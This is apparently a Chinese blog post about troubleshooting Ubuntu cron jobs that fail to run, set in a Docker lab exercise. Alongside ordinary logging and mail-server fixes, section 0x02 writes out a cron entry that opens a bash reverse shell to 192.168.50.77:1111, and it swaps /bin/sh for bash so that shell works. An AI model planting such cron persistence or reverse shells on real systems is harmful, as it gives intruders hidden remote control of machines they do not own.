Ubuntu计划任务无法执行解决方法

0x00 前言

在做Docker相关实验时,以Ubuntu为靶机无法正常反弹shell,在此记录一下环境问题和解决方法。

0x01 打印Hello World

1、创建定时任务

创建一个定时任务:每分钟向屏幕输出"Hello world!"。
有如下两种方式:
1)输入crontab -e命令,根据提示直接在当前cron task文本最后面插入如下命令(记得回车):

* * * * * echo "Hello world!"

2)由于每个用户的定时任务都在/var/spool/cron/crontabs目录下有个与用户名一致的任务文件,因此也可以通过vim直接编辑:
sudo vim /var/spool/cron/crontabs/root #注:root为当前用户名
同样在文件末行插入:

* * * * * echo "Hello world!"

保存退出,并可通过 crontab -l 查看定时任务。

2、排查原因

未能成功打印Hello World,按如下步骤排查:
1)cron服务没有启动
可能是cron服务没有启动,执行:

sudo service cron status

发现cron服务是running的,排除;

2)系统未执行任务文件
可能是任务文件创建后未能被系统及时get到,因而执行:

sudo service cron restart

重启cron后问题依旧,排除;

3)查看cron运行日志
进一步查看cron运行日志(/var/log/cron.log),但是并未找到相关文件,原因是ubuntu默认没有开cron日志,执行命令:

sudo vim /etc/rsyslog.d/50-default.conf

找到cron.log相关行,将前面注释符#去掉,保存退出

请添加图片描述

重启rsyslog:

sudo  service rsyslog  restart

然后可以查看日志,执行 less -10 /var/log/cron.log 再次查看cron运行日志,提示如下信息:

No MTA installed, discarding output

原因:cron把屏幕输出都发送到email了,而当前环境并未安装email server,于是系统报错,解决方面就是不要直接向屏幕输出内容,而是重定向到一个文件。

请添加图片描述

3、修改计划任务

sudo vim /var/spool/cron/crontabs/root

将末行改为:

* * * * * echo "Hello world!" >> /tmp/cron_log.txt

保存退出,同时reload cron服务:

sudo service cron reload

等待一分钟左右,查看/tmp/cron_log.txt,“Hello world!”每隔一分钟输出一次。

请添加图片描述

0x02 反弹shell

接下来尝试反弹shell

* * * * * /bin/bash -i >& /dev/tcp/192.168.50.77/1111 0>&1

仍然无法反弹shell,/var/log/cron.log 还是爆邮件服务器那个错误:

请添加图片描述
所以安装邮件服务器

# 安装邮件服务器
sudo apt-get install postfix

# 若出现如下报错则使用reboot命令重启Ubuntu
E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?

安装完邮件服务器后,我继续在/var/log/cron.log查看日志信息,这时已经不报错了,但是还是无法反弹shell

请添加图片描述
于是到 /var/mail/ 目录下查看相应用户的邮件信息,发现新的报错信息:
/bin/sh: 1: Syntax error: Bad fd number

请添加图片描述

原因:/bin/bash 下的软链接是 dash 而不是 bash
解决如下:

ls -l /bin/sh
sudo mv /bin/sh /bin/sh.bak
sudo ln -s /bin/bash /bin/sh

请添加图片描述
等待下一次计划任务的执行(一分钟左右),反弹成功!!

请添加图片描述

0x03 参考链接

  • http://blog.chinaunix.net/uid-30199261-id-5849127.html
  • https://www.linuxdiyf.com/linux/32574.html
  • https://www.jianshu.com/p/60e6ea56088c
  • https://blog.csdn.net/qq_37186127/article/details/78862419
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值